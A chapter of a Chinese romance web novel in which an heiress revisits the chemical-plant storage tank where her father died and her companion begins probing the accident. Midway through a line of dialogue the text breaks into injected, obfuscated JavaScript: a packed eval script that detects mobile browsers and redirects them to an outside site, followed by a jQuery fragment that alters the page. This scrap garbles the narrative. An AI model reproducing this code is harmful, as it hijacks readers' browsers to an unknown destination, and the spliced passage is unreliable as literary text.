29. 线索

作品:《纸风筝[破镜重圆]

    城北项目因为那场安全事故被要求停工整顿,加之乔氏集团内部的清算,这一停就是三年。


    等乔云筝一行人到后,开工仪式有条不紊地开始。


    作为主祭人,乔云筝戴着安全帽,站在众人最前面。


    鸣炮、放烟火、焚香、祭拜、剪彩……


    等这一套冗杂的流程按部就班地走完,开工仪式就算完成了。


    聚在一起的人们相互寒暄客套几句,便各自散开,回到自己的工作岗位。


    工地最中心的位置是一座足有三层楼高的氟化氢球形储罐,如此庞然大物,夹杂着机器轰隆隆的闷响,带给人莫名的窒息和压迫感。


    细细密密的疼如潮水般卷来,袭像乔云筝心口的位置。


    就是这样的庞然大物,毫不留情地带走了他的父亲。


    这冰冷的钢铁巨物不会因为一条鲜活生命的消逝而怎样,短暂的停歇后,还在源源不断地生产着足以换取大额财富的化工产品。


    青灰色球罐的一应结构配件都换成了新的,在烈日的照耀下,泛着冷白刺目的光。


    跟在一旁的项目经理看她抬头看得出神,只当她身为养尊处优的千金小姐没见过这庞然大物,于是很有眼色地凑上来介绍:“这设备是重点整改对象,已经按照上面的批示整改调试过了,您……要上去看看吗?”


    上个项目班组因为那场安全事故的丑闻,相关人员被一一问责,班底人员被一撸到底,从上到下来了个大换血。这位项目经理这才临危受命,接下这烫手的山芋。


    那场事故虽然没有造成很大范围的损失,可因为死的是乔氏的当家人,所以当时在整个昆城闹得沸沸扬扬。


    项目经理自然知道肩上担子有多重,听说集团新当家要来视察,早就打好了十二万分的精神。


    他提前准备好了一份完备的文字材料递给乔云筝:“这里的一应配件,大到桁架小到螺母,以百分之百的比例过了检,这里是厂家的出厂报告、专业机构检测报告、施工日志还有一些验收材料……确保不会再出现类似的问题……”


    乔云筝依旧看向球罐,倒是一旁的温泓很自然地接过他手里的报告,随意翻阅起来。


    项目经理没见过温泓,并不知道他的身份。哪怕戴着不算好看的安全帽,那身高腿长的优越皮相也让他忍不住多看了几眼。


    一时没人说话,温泓看起来动作很随意,翻阅的速度却很快,看到关键节点会适时停住,间或轻挑眉峰。


    他的气场太过凌厉,比他旁边的正牌老板压迫感还要强上许多。


    项目经理忍不住紧张,只能暗暗搓手缓解情绪。


    温泓用了十分钟的时间看完了那一沓文件,合上丢回项目经理怀里,转头问乔云筝:“要上去看看吗?”


    夏日的午后,阳光最是浓烈,干燥的空气里混合着钢铁和混凝土被炙烤的尖锐气味,呼吸一口,就像有无数的微小金属碎屑直往鼻腔里钻。


    那滋味并不如何好受。


    乔云筝的视线紧紧盯着球罐最顶部平台的位置,身体紧绷得像块石头,她的喉咙轻轻滑动,却没立刻回答。


    忽地,一只温热的大掌覆上来,握住了乔云筝微微发颤的手。


    温泓向前跨进一步,站在她面前,颀长的身影将她的视线挡得严严实实。


    乔云筝眼前的画面瞬时有了色彩和温度。


    是他胸前那朵洁白安静得小雏菊、是他利落的下颚线,和凸起的喉结。


    他霸道地占据她的视线,让她只能看向他,声音难得温柔:“你去后面的办公室休息会儿,在那等我,我上去看看就行。”


    乔云筝的眼眶一热。


    他大概看穿了她的惧怕和悲伤。


    说完,温泓还瞬时摸了把她的发顶:“听话,去吧!”


    言罢,又对一旁神色诧异的项目经理道:“赵工,咱们上去吧!顺便,有些问题我想请教一下。”


    项目经理看着他们不同寻常的亲昵动作,恍然明白过来,忙不迭点头:“啊……好、好的,没问题。”


    两人转过身,并排朝着球罐钢架楼梯的入口走。


    乔云筝忽地伸手扯住温泓的衣角:“等一下,”她眨了眨眼,心中做了决定,坚定道,“一块上去吧!”


    温泓眉头微蹙,上上下下打量她,仍有顾虑:“你确定没问题?”


    乔云筝点头,还故作轻松地笑笑:“没问题的,哪里就那么娇气了?再说,不是还有你在吗?”


    不管这话是出自真心还是随意的客套,温泓都很受用,唇角弧度弯起:“那行。”


    球罐的东侧有一排螺旋钢架楼梯,沿着球罐的表面弧度螺旋向上,一直延伸到顶部平台,以方便工人对罐体进行作业操作和监测。


    一边走,项目经理一边将整改的点位一一指出来给他们讲,甚至细微到螺栓的强度等级和连接方式。


    钢构件表面纹理崭新而清晰,没有半点磨损的痕迹,都是簇新的。


    说着,项目经理忍不住感慨:“如果早点对这老罐区进行整改,也就不会发生那样的事了……”


    言罢,才意识到身旁的老板就是去世老董事长的女儿,立刻噤了声。


    乔云筝只是脚步微顿,没有什么不悦的情绪。


    相反,她反而想更多地了解一下父亲生命最后时刻的那些细节。


    关于那场事故的内幕,乔云筝也大都是从旁人的转述和事故报告书上的陈述里得知的。当她从国外急匆匆赶回来时,爸爸已然躺在医院的重症监护室里,浑身插满了冰冷的管子。


    “那件事……赵工了解多少?”乔云筝忍着心底针扎般的疼,平静地问。


    见自己的冒失没有引起老板的不满,项目经理的心才放宽了些。


    他打量着乔云筝的脸色,斟酌片刻,才小心翼翼开口:“我也不在场,之前的朋友是在这个项目上的,我是断断续续从他那里听来的。说的和通报的情况大体上差不多,只是……”


    他又偷偷看了眼乔云筝,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524806|185171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才继续说:“老罐区设备老化的事几年内项目上已经上报过很多次了,但每次都被驳回了。”


    乔云筝脚步一停,有些诧异:“驳回了?”


    “是啊!”项目经理无不遗憾地摇头,“给的批复是虽说有老化情况,但尚在安全周期内,加上改造资金成本巨大,就这么一年年拖下来了。”


    这点看似不太起眼的细节,倒是乔云筝没有听说过的。


    温泓突然开口问:“这事,老董事长知道吗?”


    项目经理也不太确定内情,便只模棱两可地答:“一开始应该是不知道的,因为我听朋友说,那天老董事长过来看时,当场就发了很大的火,怪领导班组渎职,拿安全当儿戏。他还专门爬到罐体背面去查看不容易被发现的部位,谁知道……”


    接下来的话,他没再忍心说下去。


    三人一时沉默下来。


    不需他多说,恐怕全昆城的人都知道那天发生了什么。


    乔振德爬到罐顶平台,去查看罐体背部磨损的时候,一旁看起来还算结实的一根栏杆突然断裂,乔振德整个人就从九米高台跌落了下去。


    据说,他落下时,手里的对讲机还在跟安全班长通着话。


    原本,仅仅是高台坠落的话,或许还有生还的可能,可那根跌落的钢管刚刚好就砸断了罐体下部的采样管。


    机器隆隆的轰鸣声成了这场意外最趁手的刀,掩盖了气体管道泄露的声响。


    等发现时,无色气体已经弥散开,重重灼伤了因跌落而昏迷的乔振德。


    说话的功夫,他们已经到了罐顶平台。


    乔云筝站在经理手指的位置。


    那里的栏杆已经换成加厚加粗的,还加了围挡、安全警示牌。


    或许因为离罐体太近的缘故,滚烫的热浪变得更加灼人,争先恐后地钻进乔云筝的肺管,灼得她眼眶泛上湿意。


    温泓没说话,只是沉默着牵住了她的手。


    片刻后,温泓忽地问了个风马牛不相及的问题:“你那个朋友还在乔氏吗?”


    项目经理虽奇怪他怎么关心起这个,却还是很老实地答:“不在了,作为负责人之一,他也被处分了,我也挺久没见他了……”


    他仍在唏嘘着,却又听温泓问:“你们这个项目历来的班组名单,你那里有吗?”


    项目经理虽奇怪,但见眼前男人神情严肃、气场迫人,也不敢怠慢,忙说:“有的,新班组的名单刚提交上去,至于以前的那个……办公室里应该还有资料。”


    “嗯,”温泓点点头,“待会儿麻烦找来看看。”


    三人一路下来的时候,温泓忽地又说:“赵工,你那个朋友电话,有没有?”


    这下,不光项目经理,连缓过神来的乔云筝都忍不住看向他:“温泓,怎么了吗?”


    温泓的目光在她脸上定格片刻,又很快挪开。


    他依旧是那副浑不在意的模样,自嘲般笑了笑:“职业病吧!就随便问问,没什么,别多想。”